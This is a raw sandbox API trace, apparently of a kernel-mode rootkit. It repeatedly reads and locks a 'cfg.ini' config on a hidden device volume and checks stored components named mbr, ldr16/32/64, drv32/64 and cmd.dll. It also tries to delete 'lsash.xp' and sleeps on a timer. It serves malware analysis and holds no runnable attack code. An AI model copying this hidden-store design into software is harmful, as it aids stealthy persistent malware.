[0126.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc360 [0126.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.625] KeLeaveCriticalRegion () [0126.625] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.625] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.625] KeEnterCriticalRegion () [0126.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.625] KeLeaveCriticalRegion () [0126.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.625] KeEnterCriticalRegion () [0126.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.625] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.625] IdePortDispatch () returned 0x103 [0126.625] KeWaitForMutexObject () returned 0x0 [0126.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.626] KeLeaveCriticalRegion () [0126.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.626] KeEnterCriticalRegion () [0126.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ff000 [0126.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.626] IdePortDispatch () returned 0x103 [0126.626] KeWaitForMutexObject () returned 0x0 [0126.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.626] IdePortDispatch () returned 0x103 [0126.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.626] KeLeaveCriticalRegion () [0126.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.627] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.627] KeEnterCriticalRegion () [0126.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] KeLeaveCriticalRegion () [0126.627] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.627] KeEnterCriticalRegion () [0126.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] KeLeaveCriticalRegion () [0126.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.627] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.627] KeEnterCriticalRegion () [0126.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] ExFreePoolWithTag (P=0xfffffa8002adc360, Tag=0x0) [0126.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] KeLeaveCriticalRegion () [0126.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.627] ReleaseMutex (hMutex=0xf0) returned 1 [0126.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.627] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.627] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.627] KeEnterCriticalRegion () [0126.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.627] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.627] IdePortDispatch () returned 0x103 [0126.628] KeWaitForMutexObject () returned 0x0 [0126.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.628] KeLeaveCriticalRegion () [0126.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.628] KeEnterCriticalRegion () [0126.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.628] KeLeaveCriticalRegion () [0126.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.628] KeEnterCriticalRegion () [0126.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.628] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.628] IdePortDispatch () returned 0x103 [0126.628] KeWaitForMutexObject () returned 0x0 [0126.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.628] KeLeaveCriticalRegion () [0126.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.629] KeEnterCriticalRegion () [0126.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003500000 [0126.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.629] IdePortDispatch () returned 0x103 [0126.629] KeWaitForMutexObject () returned 0x0 [0126.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.629] IdePortDispatch () returned 0x103 [0126.629] KeWaitForMutexObject () returned 0x0 [0126.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.633] KeLeaveCriticalRegion () [0126.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.633] KeEnterCriticalRegion () [0126.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.633] KeLeaveCriticalRegion () [0126.634] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.634] KeEnterCriticalRegion () [0126.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.634] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.634] KeLeaveCriticalRegion () [0126.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.634] KeEnterCriticalRegion () [0126.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.634] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.634] KeLeaveCriticalRegion () [0126.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.634] ReleaseMutex (hMutex=0xf0) returned 1 [0126.634] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.634] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.634] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.634] KeEnterCriticalRegion () [0126.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.634] IdePortDispatch () returned 0x103 [0126.635] KeWaitForMutexObject () returned 0x0 [0126.635] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.635] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.635] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.635] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.635] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.635] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.635] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.635] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.635] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.635] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.635] KeLeaveCriticalRegion () [0126.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.636] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.636] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.636] KeEnterCriticalRegion () [0126.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.636] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.636] IdePortDispatch () returned 0x103 [0126.636] KeWaitForMutexObject () returned 0x0 [0126.637] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.637] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.637] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.637] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.637] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.637] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.637] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.637] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.637] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.637] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.637] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.637] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.637] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.637] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.637] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.637] KeLeaveCriticalRegion () [0126.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.637] ReleaseMutex (hMutex=0x100) returned 1 [0126.637] Sleep (dwMilliseconds=0x2bf20) [0126.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eadf210, dwHighDateTime=0x1d24fa4)) [0126.644] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.644] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.644] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.644] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.644] KeEnterCriticalRegion () [0126.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.644] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.644] IdePortDispatch () returned 0x103 [0126.644] KeWaitForMutexObject () returned 0x0 [0126.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.644] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.644] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.644] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.644] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.644] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6310 [0126.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.644] KeLeaveCriticalRegion () [0126.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.644] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.644] KeEnterCriticalRegion () [0126.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.644] KeLeaveCriticalRegion () [0126.644] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.644] KeEnterCriticalRegion () [0126.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.645] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.645] IdePortDispatch () returned 0x103 [0126.645] KeWaitForMutexObject () returned 0x0 [0126.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.645] KeLeaveCriticalRegion () [0126.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.645] KeEnterCriticalRegion () [0126.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a3000 [0126.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.645] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.645] IdePortDispatch () returned 0x103 [0126.645] KeWaitForMutexObject () returned 0x0 [0126.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.645] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.645] IdePortDispatch () returned 0x103 [0126.645] KeWaitForMutexObject () returned 0x0 [0126.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] KeLeaveCriticalRegion () [0126.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.646] KeEnterCriticalRegion () [0126.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 